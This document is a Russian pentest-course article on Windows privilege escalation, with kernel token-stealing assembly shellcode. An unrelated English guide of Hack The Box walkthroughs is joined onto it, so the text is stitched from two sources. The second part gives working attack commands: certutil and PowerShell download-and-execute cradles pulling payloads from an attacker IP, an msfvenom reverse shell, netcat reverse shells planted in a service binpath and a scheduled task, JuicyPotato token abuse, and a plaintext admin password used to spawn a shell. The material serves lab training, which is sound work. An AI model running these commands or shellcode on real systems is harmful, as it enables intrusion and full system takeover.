Эскалация привилегий windows 10

Время на прочтение6 мин

Количество просмотров13K

Для будущих студентов курса «Пентест. Практика тестирования на проникновение» подготовили авторскую статью от нашего эксперта — Александра Колесникова.

Также приглашаем записаться на открытый вебинар по теме «Windows ad: сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5 лет.»

Картинка с сайта: habr.com

Тема получения безграничного доступа к системе очень интересна в контексте тестирования на проникновение. Получить доступ к системе и запустить команду — сегодня это только половина победы. Вторая половина достигается только в тот момент, когда удается обойти подсистемы песочниц и ограничений, которые есть в операционной системе.

Эта статья расскажет о некоторых особенностях эксплойтов для повышения привилегий в операционной системе Windows.

Privileges in Windows

Для понимания, как работает эскалаций привилегий, необходимо разобраться с разграничением доступа в операционной системе Windows. Описание системы разграничения доступа можно найти на официальном сайте. Согласно документации, разграничение доступа в ОС Windows строится на следующих понятиях:

• Пользователи

• Группы

У каждого из перечисленных объектов есть свой индивидуальный идентификатор SID. Вообще, этот идентификатор используется для обозначения любого объекта, с которым работает операционная система, и для него требуется контроль доступа, но нас интересует в первую очередь использование этого идентификатора в контексте пользователей, групп и их прав. Идентификатор используется для того, чтобы создать для пользователя токен доступа. Данный токен содержит информацию о том, какие права имеет пользователь и группы, в которые он входит. Токен будет использоваться для подтверждения или запрета действий над объектами операционной системы, называемыми “Securable Objects”. Токены доступа бывают:

• Primary token — токен, которым наделяет пользователь процесс, когда запускает приложение.

• Impersonation token — токен, который может работать от имени любого пользователя операционной системы. Также может применяться для клиент-серверного взаимодействия или для запуска потока процесса с другими привилегиями.

Отсюда становится ясно, что основная цель любой эскалации привилегий — это получение токена доступа, который создается привилегированными пользователями. В общем случае, в ОС Windows это стандартные пользователи, которые называются: “Administrator” и “System”. Именно их токены открывают двери к любой информации, которая есть в операционной системе.

Из официальной документации токен состоит из отдельных объектов:

Структура достаточно сложная и просто так скопировать или модифицировать ее не получится из-за того, что токен хранится в защищенном от модификации месте (как сказано в документации). Выясним, где она находится. Для этого запустим операционную систему Windows в отладочном режиме и исследуем все структуры, которые используются для работы процесса. Если обратиться снова к официальной документации, то начинать стоит со структуры EPROCESS.

Получается, что информация о токене процесса хранится в ядре и поэтому в документации это помечено как область, которую нельзя изменить. Теоретически это действительно так: обычные приложения, которые работают в 3-м кольце, не могут модифицировать то, что хранится в 0-м. Но если модифицировать из ядра структуру внутри ядра, то здесь нет никаких ограничений и противоречий. Обратимся к отладчику:

Картинка с сайта: habr.com

Жирным цветом выделен адрес структуры EPROCESS, чтобы изучить её более подробно вызовем команду отладчика:

Картинка с сайта: habr.com

Похоже, что и искать долго не придется, токен находится буквально сразу. В 64-битных операционных системах ссылка на него находится по смещению 0x208. Чтобы ее прочитать нужно маскировать адрес:

Картинка с сайта: habr.com

Это адрес, который необходимо маскировать полностью, кроме последнего байта:

Картинка с сайта: habr.com

Над адресом токена нужно вызвать одноименную команду и мы можем убедиться, что действительно, как указано в документации, токен содержит информацию, которая была заявлена:

Картинка с сайта: habr.com

Из рисунка видно, что все привилегии, которые содержит токен, располагаются в виде битовой маски и имеют названия, которые начинаются с префикса “Se”. Именно эти поля нам и нужно модифицировать, чтобы операционная система позволяла процессу читать что угодно в операционной системе. Определившись с целью, время поговорить об атаках на набор привилегий, уязвимостях и экспортах к ним.

LPE или что делать с токеном

Изменение привилегий в токене может быть весьма тривиальной задачей несмотря на то, что эти самые привилегии очень сложно структурированы. Основной атакой, которую применяют для эскалации привилегий — перезапись ссылки на токен, которая содержится в структуре EPROCESS. Иными словами токен не изменяется, меняется адрес, где лежит токен. Обычно этот адрес выбирается из системного процесса, который постоянно может присутствовать в операционной системе. Результатом такой операции становится процесс или отдельный поток, который может делать в ОС всё, что угодно. Ниже приведем пример кода, который позволяет произвести кражу токена:

[BITS 64]
 
start:
    mov rdx, [gs:188h]      ;get _ETHREAD указатель из KPCR
    mov r8, [rdx+70h]       ;_EPROCESS
    mov r9, [r8+188h]       ;ActiveProcessLinks начало списка
 
    mov rcx, [r9]           ;найти первый процесс в списке
find_system_proc:
    mov rdx, [rcx-8]        ;смещение от ActiveProcessLinks до UniqueProcessId
    cmp rdx, 4              ;System процесс
    jz found_it
    mov rcx, [rcx]          ;переходим по _LIST_ENTRY Flink указателю
    cmp rcx, r9            
    jnz find_system_proc
 
found_it:
    mov rax, [rcx+80h]      ;смещение ActiveProcessLinks до токена
    and al, 0f0h            ;очищаем 4 бита _EX_FAST_REF структуры
    mov [r8+208h], rax      ;заменить токен текущего процесса системным
    ret

Приведенный выше код позволяет скопировать токен для текущего процесса из системного процесса с идентификатором 4. Стоит отметить, что код должен быть запущен в контексте ядра операционной системы. Это означает, что он либо должен быть выполнен драйвером, либо шелкодом, который будет загружаться в память через уязвимость операционной системы.

Уязвимости и эксплойты

Операционная система Windows, как и любая другая сложная система, насчитывает миллионы строк кода. И, как в любом большом проекте, его размер не позволяет исключать ошибки и недочеты. На картинке ниже представлена статистика найденных в ОС уязвимостей последних 5 лет. В нее включены уязвимости для повышения привилегий:

Картинка с сайта: habr.com

Данные об уязвимостях взяты отсюда. Статистика показывает, что уязвимостей достаточно, чтобы можно было найти себе необходимую для повышения привилегий. Для исследования будем использовать готовые эксплойты. Попробуем восстановить последовательность действий, которые проводятся для достижения цели — эскалации привилегий. Список уязвимостей будет следующим:

• CVE-2015-2546

• CVE-2016-3309

• CVE-2017-0101

• CVE-2018-8120

• CVE-2019-1458

• CVE-2020-0796

CVE-2015-2546

Уязвимость в Win32k модуле операционной системы, повреждение памяти. Фрагмент эксплойта, который отвечает за изменение токена процесса:

Картинка с сайта: habr.com

Кажется, это тот самый код, который был представлен выше. В нем видоизменен подход к поиску токена, но основная идея та же — получить ссылку на токен из процесса с PID=4(System.exe).

CVE-2016-3309

Уязвимость в Win32k, снова проблема с повреждением памяти, взглянем на кусок кода, который используется для замены токена:

Картинка с сайта: habr.com

В этом случае автор использовал язык программирования C, так же была изменена часть поиска адреса токена, но снова методика замены токена — перезапись адреса из системного процесса.

CVE-017-0101

Уязвимость в user32 GDI объектах и снова повреждение памяти. Код замены токена:

Картинка с сайта: habr.com

Код скопирован из эксплойта 2016 года, похоже, что на этот период примитивы для проведения эскалаций привилегий еще пока что не митигировались в Windows.

CVE-2018-8120

Уязвимость в Win32k компоненте, в этот раз неверно обрабатывается nullpointer, код для замены токена:

Картинка с сайта: habr.com

Автор эксплойтов явно не спешит использовать что-то другое или хотя бы новое. Снова код, который ищет System.exe и использует его токен.

CVE-2019-1458

Уязвимость в Win32k,  повреждение памяти, код замены токена:

Картинка с сайта: habr.com

Вот и первые изменения, автор больше не мог использовать код, который его выручал на протяжении 3х лет. Теперь токен заменяется через примитивы, которые использовались для эксплуатации уязвимостей в Windows 10 — метод Bitmap. По механике он делает тоже самое, но достигается это за счет использования объектов подсистемы Win32k. 

CVE-2020-0796

Уязвимость в драйвере, который обрабатывает SMBv3 запросы. Проблема таилась в переполнении целочисленного типа, который отвечал за количество выделяемой памяти в ядре. Код замены токена:

Картинка с сайта: habr.com

Случай с этой уязвимостью — особенный. В первую очередь потому, что замена и перезапись токена осуществляется за 1 проход при получении неверно сформатированного запроса по SMBv3, поэтому в исходнике не происходит никаких дополнительных вычислений и действий по отношению к токену System.exe и процесса пользователя.

Вместо заключения

При тестировании на проникновение часто возникает необходимость использовать тот или иной публичный эксплойт на эскалацию привилегий. При этом не всегда можно найти подробное описание эксплойта и привести его в работоспособное состояние. Надеюсь, эта статья помогла вам увидеть шаблоны, которые применяются для написания эксплойтов, и теперь разбираться в них станет чуточку легче. К тому же, как показывает описание выше, способов на повышение привилегий не так много, а именно один — изменение ссылки на токен процесса. Все остальное это просто модификации способа как ссылку можно перезаписать.

Узнать подробнее о курсе «Пентест. Практика тестирования на проникновение».

Записаться на открытый вебинар по теме «Windows ad: сбор информации, эскалация привилегий. Эксплойты и уязвимости последних 5 лет.»

If you want to use Windows privilege escalation techniques to help elevate your privileges, you’ve come to the right place.

Our thorough guide will show you all things Windows privilege escalation. This guide will show you how to use manual enumeration methods to detect potential privilege escalation paths. We will also show you some automated tools to help in your search.

Next, we will walk you through different types of privilege escalation, such as kernel exploits, token impersonations, saved credentials, scheduled tasks, and more.

After reading our guide, you will be well on your way to understanding how to leverage your privileges on Windows.

Understanding Privilege Escalation

Privilege escalation in the Windows operating system occurs when users obtain access to more system resources than their privileges permit. It entails switching from a lower-level user to a higher-level one, like the administrator or the «NT AUTHORITY/SYSTEM” account. Misconfiguration, or a weak point in the system, is how escalation is possible.

The difference between an administrator and a system account comes down to how much control they have over the operating system and processes.

Detection

Now that you understand the different user levels in a Windows environment, let’s look at ways to enumerate the operating system to help detect privilege escalation vectors.

Manual

These following commands can be run from the command prompt or PowerShell.

System Enumeration

Enumerating the operating system, including its version and patch level, can help you find if any potential kernel exploits are available for the Windows machine.

systeminfo

The command systeminfo gives you a view of the Windows operating system you’re dealing with. Everything from OS name, version, and build type to processors, BIOS version, and more.

Картинка с сайта: www.stationx.net

wmic qfe 

wmic qfe gives you an overview of what updates have been installed in Windows, giving you a view of the system’s patch history and enabling you to identify any missing patches or updates that could be exploited for privilege escalation.

Картинка с сайта: www.stationx.net

User Enumeration

Doing user enumeration can give you a good overview of your current user, which privileges you have, and which groups you are a part of. This can be beneficial in locating privilege escalation paths that will allow you to abuse privileges or exploit misconfigurations.

whoami

The whoami command informs you about what user you are currently running as. You can also use this with other switches, such as /priv and /groups, to gather more information on the privileges granted to your user and what security groups you are a member of.

Картинка с сайта: www.stationx.net

net user

The net user command will print out the users on the system.

Картинка с сайта: www.stationx.net

You can also use the net user username to get a good overview of a specific user. This will show you the user’s name, password information, and group membership, along with the account’s various settings and properties.

Картинка с сайта: www.stationx.net

net localgroup

The net localgroup command will display all available groups on the system. This can be useful for understanding the different access levels available on a system.

Картинка с сайта: www.stationx.net

You can also use this command with a group name to get an overview of the group’s information and which users belong to it.

Картинка с сайта: www.stationx.net

You can manually enumerate Windows in many more ways, which we won’t be going into, but they include network enumeration, AV enumeration, and service and process enumeration.

Check out our “Windows Command Line Cheat Sheet: All You Need in One Place” article for a deep dive into the Windows command line.

Automated Tools

Automated tools can be a great help when looking for privilege escalation paths, as they can quickly and efficiently scan for known vulnerabilities, misconfigurations, and weak security practices.

WinPEAS

Картинка с сайта: www.stationx.net

WinPEAS, also known as the “Windows Privilege Escalation Awesome Scripts,” is a popular, well-known, and simply excellent open-source tool to help find potential paths to privilege escalation in a Windows system.

It uses a color-coded system that shows you which areas to look at first. WinPEAS can identify several common security misconfigurations, such as weak folder permissions, weak registry permissions, misconfigured services, scheduled tasks, and more.

PowerUp

Картинка с сайта: www.stationx.net

PowerUp is a PowerShell script that looks for common privilege escalations on the target system. You can run it with the Invoke-AllChecks parameter, which executes all checks. You can also use it to do specific checks, like with the Get-UnquotedService parameter, which only looks for possible unquoted service path vulnerabilities. You may need to bypass the execution policy on the target system to run PowerUp.

Seatbelt

Картинка с сайта: www.stationx.net

Seatbelt is a C# tool, part of the GhostPack suite of tools, that will perform a series of checks, gathering system and user data rather than looking for privilege escalation vectors. It can be very useful for identifying potential paths for escalating privileges.

SharpUp

Картинка с сайта: www.stationx.net

SharpUp is another tool from the GhostPack collection that acts as a C# port for multiple PowerUp functions. The majority of checks are included. It is a flexible tool that enables you to perform individual vulnerability checks or a full audit that executes every check.

Windows Exploit Suggester

Картинка с сайта: www.stationx.net

Windows Exploit Suggester is a tool that can locate privilege escalation paths by examining the patch levels of a Windows system. It compares the system’s patch levels against the Microsoft vulnerability database to detect potential missing patches. By identifying these missing patches, the tool can provide a list of potential vulnerabilities to exploit for privilege escalation.

You can also see a newer version of the tool called Windows Exploit Suggester — Next Generation (WES-NG).

Kernel Exploits

Kernel exploits are vulnerabilities found in the Windows OS that allow attackers to escalate privileges. These exploits target flaws in the operating system’s kernel.

An attacker may gain unauthorized access to system-level privileges by exploiting these vulnerabilities. This can lead to a complete takeover, allowing the attacker to execute arbitrary code, modify system data, install software, or perform other actions.

Let’s look at how to take advantage of a kernel exploit and go from a low-level user to system. We will be using the “Hack The Box: Devel” machine.

Once you have established a reverse shell via Netcat, you can run the systeminfo command.

Copy the contents of the output and save it to a file in the same folder as the Windows Exploit Suggester on your local machine. We saved ours as systeminfo.txt.

Картинка с сайта: www.stationx.net

You’ll need to update the Windows Exploit Suggester database before running the script. See the readme for more information.

Run the Windows Exploit Suggester script with the system information and database file.

Картинка с сайта: www.stationx.net

You’ll see a list of potential exploits. The one we are interested in is MS10-059, also called Chimichurri. See this article if you want to read more about this exploit. This exploit will allow you to spawn a shell as the system account.

Картинка с сайта: www.stationx.net

Head to this GitHub page and download the executable to your attacking machine.

Always ensure you understand what you are downloading and what the script or exploit is doing. Using scripts you don’t understand can have severe consequences, especially if you are using them in a real-world environment.

Once downloaded, start a Python server in Kali in the same folder as the downloaded exploit. Use the following command:

python3 -m http.server 

Back on the Windows machine, move into the temp folder, and download the exploit using certutil.

certutil -urlcache -f http://10.10.14.10:8000/MS10-059.exe exploit.exe

The temp folder is a good place to download scripts, tools, and exploits, as it usually has the permissions needed to write and execute.

Картинка с сайта: www.stationx.net

Next, start a Netcat listener on your attacking machine. On Windows, run the exploit with the IP of your machine and the port you just used with Netcat.

exploit.exe 10.10.14.10 5555

Картинка с сайта: www.stationx.net

Back on our machine, we will have an elevated shell.

Картинка с сайта: www.stationx.net

As you can see, finding outdated or unpatched systems can lead you to privilege escalation via a kernel exploit. Be cautious with kernel exploits, as they can sometimes cause instability in the target systems. Research their reliability and make sure someone is available to restart the machine if needed.

Windows Subsystem for Linux

WSL stands for Windows Subsystem for Linux. It is a compatibility layer for running Linux on your Windows system. It allows users to run a GNU/Linux environment directly on Windows without needing a virtual machine, including most command-line tools and utilities.

In certain situations, you can take advantage of WSL if it runs with root privileges, allowing you to create an elevated shell. In our demo, we will use a different privilege escalation approach.

Let’s look at how we can use WSL for privilege escalation via bash history on the “Hack The Box: SecNotes” machine.

Once you’ve established a shell on the machine and have located the user.txt file on Tyler’s desktop, you will notice a bash.lnk file. This file could indicate that this Windows OS is running WSL.

Картинка с сайта: www.stationx.net

Let’s see if we can find out if bash.exe is running on the system.

You can use the following command to try and find it:  where /R C:\Windows bash.exe

Картинка с сайта: www.stationx.net

Great, bash.exe is located in two different folders.

Let’s run it from the System32 folder using the command: C:\Windows\System32\bash.exe

We must escape the shell restrictions using the following command: python3 -c 'import pty;pty.spawn("/bin/bash")'

Next, we can do some Linux enumeration. If you’ve read our article on Linux Privilege Escalation, you’ll know that one good place to look for information is in history.

Картинка с сайта: www.stationx.net

Let’s look at the command history.

Картинка с сайта: www.stationx.net

And we’ve found some credentials for the administrator of the Windows system. We could run the command above with the machine’s IP, and we would have access to the system folders, but we can also run psexec and get an interactive system shell, giving us more control.

Картинка с сайта: www.stationx.net

Privilege escalation can be possible through WSL, and It’s always a good idea to check the history as a first step when enumerating; you’ll be surprised by what you might find.

Token Impersonation

A token impersonation privilege escalation attack occurs when a lower-privileged user steals a token from a higher-privileged user or process and uses it to perform actions they normally wouldn’t be allowed to do, like accessing sensitive data or modifying important system settings.

Think of a token like an ID card. Each ID card belonging to a different user or service has specific privileges to control resource access.

If your user has “SeImpersonatePrivilege” enabled, you can use a potato attack to escalate privileges.

In our demo, we will be using the juicy potato attack. JuicyPotato doesn’t work on Windows Server 2019 or Windows 10 build 1809 onward. However, other similar attacks can be used to leverage the same privileges. Research the specific OS and build you’re targeting.

We can see how this works using the “Hack The Box: Bounty” machine.

Once you’ve established a shell, we can start doing manual enumeration. Let’s look at the whoami and the whoami/priv commands.

Картинка с сайта: www.stationx.net

As you can see, we have the correct privilege to perform the juicy potato attack. Let’s run systeminfo and see if we have the correct Windows build.

Картинка с сайта: www.stationx.net

We are good to go with the juicy potato attack. Let’s download the exploit from Github to Kali.

Make sure you are serving the file using a python3 simple server set up in the same directory as the exploit using:

python3 -m http.server

You could also use an Apache or SMB server.

Now transfer it to the Windows machine with this command:

(new-object net.webclient).downloadfile('http://10.10.14.12:8000/jp.exe', 'C:Users\merlin\Desktop\jp.exe')

Картинка с сайта: www.stationx.net

Next, we must create our reverse shell. Download the Invoke-PowerShellTcp.ps1 script from the Nishang repository.

Add the following to the bottom of the script and save it. We saved ours as shell2.ps1.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 8888

Ensure you use the IP from your attacking machine and whatever port you use with Netcat to catch the shell.

Now create a .bat file containing this one-liner:

powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.12/shell2.ps1')

It will download the shell2.ps1 script and run it. We called ours bounty.bat. You can use your preferred text editor to do this (Nano, Vi, Gedit, Leafpad, etc.) or use the touch command to create the file and echo the one liner into it.

Next, download the bounty.bat file to the Windows machine from your server using the (new-object net.webclient).downloadfile command shown previously.

Ensure you have a server set up in Kali to host the file.

Start a Netcat listener on Kali using the information from shell2.ps1 script.

We can finally start the exploit, but ensure you run it with these three flags.

-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both

-p <program>: a program to launch

-l <port>: COM server listen port (any port will do)

Here is the command to run:

./jp.exe -t * -p C:Users\merlin\Desktop\bounty.bat -l 4444

Картинка с сайта: www.stationx.net

And we are now system.

Картинка с сайта: www.stationx.net

Always check your privileges when stepping into a new Windows shell, as you may have privileges that can be abused, enabling you to move to the administrator or system.

Saved Credentials

Occasionally, in Windows, there will be instances where a user’s credentials will be saved in plain text. This happens for various reasons. One reason is if the Windows AutoLogon feature is enabled. This feature stores credentials in plain text in the registry, allowing other users to start the computer and log on automatically using the said account.

Our demo will show you how to leverage this feature to take us from a low-level account to the administrator.

We will use the “Hack The Box: Chatterbox” machine for this demo. Once you establish the reverse shell via the buffer overflow, you will be the user Alfred.

Картинка с сайта: www.stationx.net

We can begin with some automated enumeration by downloading winPEAS from our attacking machine to Chatterbox with the following command:

certutil -urlcache -split -f "http://10.10.14.12:8000/winPEASany.exe" wp.exe

Ensure you have a server on your attacking machine in the same folder as winPEAS, so you can download the file. You can use: python3 -m http.server

Картинка с сайта: www.stationx.net

After running winPEAS, you will notice it found AutoLogon credentials for the user Alfred. The password may also work for the administrator user.

Картинка с сайта: www.stationx.net

We must use the PowerShell automation utility, as we cannot test this via RDP or other methods. This will allow us to run scripts in the context of another user.

The first step is to create a reverse shell using MSFvenom.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe > shell.exe  

Next, we must use the certutil command to download shell.exe to Chatterbox. Remember to set up the server to host the file.

Картинка с сайта: www.stationx.net

Start Netcat with the same port you used for the MSFvenom payload. Next, run the following PowerShell command to get a reverse shell as the administrator.

powershell -c "$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential('Administrator', $password);Start-Process -FilePath "shell.exe" -Credential $creds"

Картинка с сайта: www.stationx.net

And we have now escalated our privileges to the administrator.

Картинка с сайта: www.stationx.net

As you can see, sometimes credentials will be saved in plain text and can be used to elevate privileges if they are reused for other services or users.

Scheduled Tasks

Scheduled tasks in Windows are an automated way of running certain scripts or programs at set times. As cron jobs work in a Linux environment, scheduled tasks let users run tasks such as backups, updates, and virus scans at a specific time; it could be every minute, every hour, or even every day.

This can lead to privilege escalation if the task has misconfigured permissions. This may enable a low-level user to modify the task or file, allowing them to make it do whatever they want.

Since most tasks are run with the privileges of the administrator (who most often is the one who created the task), the script will also run with these higher privileges, allowing the user to escalate privileges.

Let’s look at how this works using the “Hack the Box: Tally” machine. Once you have the reverse shell courtesy of SQL, you will be the user Sarah.

Картинка с сайта: www.stationx.net

Head to Sarah’s desktop; you will also notice two interesting files.

Картинка с сайта: www.stationx.net

If you look at the .xml file, you’ll notice a few things. It tells us that the PowerShell script SPBestWarmUp.ps1 with the -ExecutionPolicy Bypass and -skipadmincheck arguments will run under the TALLYAdministrator user’s permissions. It runs every hour of the day.

Since the file runs with the administrator’s privileges, we can use this script to escalate privileges. But first, let’s see if we have the correct permissions to modify it.

You can use the following PowerShell command to check the file’s permissions: Get-Acl SPBestWarmUp.ps1 | Format-List

See our “The Most Helpful PowerShell Cheat Sheet You’ll Ever Find” article for a thorough list of PowerShell commands.

Картинка с сайта: www.stationx.net

As we are the user Sarah, we own the file and can now use this to change the contents of the file and give us a reverse shell.

We need to copy the Nishang reverse shell to our attacking machine and add the following line to the bottom of the script:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 4444

Remember to use the IP from your machine and the port you will use with Netcat.

Set up a Python server in the same directory as the Nishang script.

python3 -m http.server

Start your Netcat listener and use the following command to replace the contents of the SPBestWarmUp.ps1 file with our reverse shell.

echo "iex(new-object net.webclient).downloadstring('http://10.10.14.12:8000/shell2.ps1')" > SPBestWarmUp.ps1

Картинка с сайта: www.stationx.net

Now wait for the scheduled task to run. It could take up to an hour to spawn the shell.

Картинка с сайта: www.stationx.net

Sometimes scheduled tasks will have misconfigured permissions that will allow you to escalate privileges. In a real engagement, ALWAYS make sure to back-up and restore any files you modify, replace, or delete.

Weak Service Permissions

In Windows, services allow applications to run in the background with certain permissions. These services can run with different privilege levels depending on how they are configured. This can be a low-level user all the way up to the system account.

When a low-level user can modify a service with high-level privileges, that is called weak service permissions.

Misconfigurations could include

• Improper access control lists (ACLs) that allow non-administrators to modify the service.
• The service has weak file permissions.

Let’s look at how to take advantage of weak service permissions using the “Hack The Box: Querier” machine.

Once you have your shell, you will be the mssql_svc user.

Картинка с сайта: www.stationx.net

Our first step will be downloading the PowerUp script from our attack machine. You can start a Python server in the same directory as the script with the following command: python3 -m http.server

Enter Powershell and then move into the C:\Reports folder. Use the following command to download the PowerUp script:

Invoke-WebRequest -Uri http://10.10.14.15:8000/PowerUp.ps1 -OutFile C:\Reports\PowerUp.ps1

Ensure you change the IP and port to your machine’s settings.

Картинка с сайта: www.stationx.net

Once downloaded, run PowerUp with Invoke-AllChecks.

Картинка с сайта: www.stationx.net

We have more than a few paths to take. But for this demo, we are interested in the service UsoSvc. With this service, we can use the PowerUp Invoke-ServiceAbuse function, which abuses a function where the current user has configuration rights to add a local administrator or execute a custom command.

It’s important to note that to exploit the service, CanRestart must be True. As restarting the service is how we have our commands executed.

We can do this manually by changing the binpath to run a command. We will run Netcat to give us a reverse shell as the administrator.

Change back to a regular command prompt. We need to modify the configuration of the UsoSvc service by setting the binpath to run our Netcat reverse shell using the ‘sc’ (Service Control) command.

sc config UsoSvc binpath= "C:\Reports\nc.exe -e cmd.exe 10.10.14.15 4444"

To check if the command worked and query the configuration information of the service, you can use the command:

sc qc UsoSvc

Картинка с сайта: www.stationx.net

The command worked, as the new binpath is set to our command. Now we need to stop and then restart the service to pop our shell as system.

Картинка с сайта: www.stationx.net

Ensure you have Netcat started on your attacking machine, and once you start the service, you will have an elevated shell.

Картинка с сайта: www.stationx.net

As you can see, if services have weak permissions, you can take advantage to elevate your privileges. As we mentioned in the Scheduled Tasks section, in a real engagement, ALWAYS make sure to back-up and restore any files you modify, replace, or delete.

Other Methods

There are many other methods for privilege escalation in Windows that you can learn, but we cannot walk through them all.

These include:

• Always Install Elevate
• Run As
• Startup Applications
• Executable Files
• DLL Hijacking
• Unquoted Service Paths
• Weak Registry Permissions

Conclusion

As you’ve seen, there are many paths for Windows privilege escalation attacks.

We’ve shown you how to do some manual enumeration, what automated tools we recommend you use, and what they do.

By taking advantage of kernel exploits, token impersonation, scheduled tasks, and other paths, you can escalate privileges and become the administrator user or even the system account.

It’s a good idea to keep up with the latest tools and techniques when it comes to Windows privilege escalation techniques, and we’ve provided you with a great starting point for your journey.

Frequently Asked Questions